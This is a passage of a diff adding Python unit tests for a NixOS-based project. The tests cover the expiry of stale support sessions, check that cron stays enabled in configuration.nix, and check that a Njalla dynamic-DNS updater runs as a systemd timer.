+            support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                audit_fn=lambda event, details="": events.append(event),
+            )
+        self.assertIn("SUPPORT_EXPIRED", events)
+
+    def test_zero_enabled_at_not_expired(self):
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, enabled_at=0)
+            result = support_ops.expire_if_stale(sf)
+        self.assertFalse(result)
+
+
+# ---------------------------------------------------------------------------
+# Cron composition
+# ---------------------------------------------------------------------------
+
+class TestCronComposition(unittest.TestCase):
+    """configuration.nix must not disable cron (rsnapshot and other module jobs depend on it)."""
+
+    def _get_config_content(self):
+        path = os.path.join(_REPO_ROOT, "configuration.nix")
+        with open(path) as f:
+            return f.read()
+
+    def test_cron_not_disabled(self):
+        """services.cron.enable = false must not appear in configuration.nix."""
+        self.assertNotIn("services.cron.enable = false", self._get_config_content())
+
+    def test_sovran_ddns_update_timer_in_njalla(self):
+        """The periodic Njalla updater must be the systemd timer, not a cron job."""
+        path = os.path.join(_REPO_ROOT, "modules", "core", "njalla.nix")
+        with open(path) as f:
+            content = f.read()
+        self.assertIn("sovran-ddns-update", content)
+        self.assertNotIn("services.cron", content)
+
+
+if __name__ == "__main__":
+    unittest.main()